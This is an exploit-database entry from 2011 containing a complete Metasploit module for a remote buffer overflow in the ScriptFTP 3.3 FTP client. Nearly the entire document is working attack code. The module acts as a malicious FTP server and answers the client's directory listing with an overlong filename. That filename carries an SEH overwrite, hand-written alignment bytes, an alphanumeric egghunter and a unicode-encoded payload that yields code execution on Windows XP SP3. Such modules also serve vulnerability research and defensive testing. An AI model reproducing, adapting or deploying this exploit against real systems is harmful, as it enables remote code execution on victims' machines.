ScriptFTP 3.3 Remote Buffer Overflow (MSF)



EKU-ID: 1067 CVE: OSVDB-ID: 75633
Author: otoy Published: 2011-09-30 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#Exploit Title: ScriptFTP 3.3 Remote Buffer Overflow (MSF)
#Date: Sept 20 2011
#Author: otoy
#Version: 3.3
#Tested on: Windows XP SP3
#CVE : -
#EDB-ID: 17876
#Thanks: cyb3r.anbu, spentera-team, dE-team, offsec, exploit-db, corelanc0d3r


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Exploit::Remote::FtpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ScriptFTP 3.3 Remote Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in ScriptFTP 3.3 ftp client. The overflow is
    triggered when the client connects to a FTP server which sends an overly long directory
    and filename in response to a GETLIST command.

    This will cause an access violation, and will eventually overwrite the saved extended
    instruction pointer. 
   },
   'Author'   =>
    [
     'modpr0be',  # Original bug
     'Cyberheb', # porting from poc to msf
     'Otoy',  # final msf module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => "0",
   'References'     =>
    [
     [ 'OSVDB', '75633'],
     [ 'URL', 'http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
                                        'Space'    => 1000,
                                        'DisableNops' => true,
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
     'BadChars'  =>  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
                       'EncoderOptions' =>
                           {
                                'BufferRegister' => 'EDX',
                           }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP Universal', { 'Ret' => "\x45\x5B", 'Offset' => 1746 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Sept 20 2011',
   'DefaultTarget'  => 0))

 end

 def setup
  super
 end

 def on_client_unknown_command(c,cmd,arg)
  c.put("200 OK\r\n")
 end


 #Unicode Encoder
     def get_unicode_payload(p)
         encoder = framework.encoders.create("x86/unicode_upper")
         encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )
         unicode_payload = encoder.encode(p, nil, nil, platform)
         return unicode_payload
     end


 def on_client_command_list(c,arg)
  conn = establish_data_connection(c)
  if(not conn)
   c.put("425 Can't build data connection\r\n")
   return
  end
  print_status(" - Data connection set up")
  code = 150
  c.put("#{code} Here comes the directory listing.\r\n")
  code = 226
  c.put("#{code} Directory send ok.\r\n")


  sampahawal = "A" * 1746
  nseh = "\x61\x62"
  seh = target['Ret']
  sampahbawah = 1250

                #prepare for align
             align = "\x60"                      #pushad
             align << "\x73"                     #nop/align
             align << "\x53"                     #push ebx
             align << "\x73"                     #nop/align
             align << "\x58"                     #pop eax
             align << "\x73"                     #nop/align
             align << "\x05\x02\x11"             #add eax,0x11000200
             align << "\x73"                     #nop/align
             align << "\x2d\x01\x11"             #sub eax,0x11000120
             align << "\x73"                     #nop/align

  #align after egg
             align2 = "\x73\x57\x73\x58\x73"             #nop/push edi/nop/pop eax/nop
             align2 << "\xb9\x1b\xaa"                    #mov ecx,0xaa001b00
             align2 << "\xe8\x73"                        #add al,ch + nop
             align2 << "\x50\x73\xc3"                    #push eax,nop,ret

             #walking
             walk = "\x50"                               #push eax
             walk << "\x73"                              #nop/align
          walk << "\xc3"                              #ret

  #egghunter
             egghunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYA"
                egghunter << "IAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA5"
                egghunter << "8AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZB"
                egghunter << "ABABABAB30APB944JBQVCQGZKOLO12PRQZKR1"
                egghunter << "HXMNNOLKUQJRTJO6XKPNPKP44TKJZ6O3EJJ6O"
                egghunter << "SEYWKOYWA"

  #junk
  sampah1 = "\x44" * 106 + "\x73"
  sampah2 = "\x42" * 544

  #egg
  telur = "0t0t"
  
  #payload
  stubget = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
  palpha = stubget + payload.encoded
  puni = get_unicode_payload(palpha)
  
  #filename
  filename = sampahawal
  filename << nseh
  filename << seh
  filename << align
  filename << walk
  filename << sampah1
  filename << egghunter
  filename << sampah2
  filename << telur
  filename << align2
  filename << puni
  filename << sampah1

  print_status(" - Sending directory list via data connection")
                dirlist = "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt\r\n"
                dirlist << "drwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}\r\n"
                dirlist << "-rwxrwxrwx    1 100      0         11111 Jun 11 21:10 #{filename}.txt\r\n"
  conn.put(dirlist)
  conn.close
  return
 end

end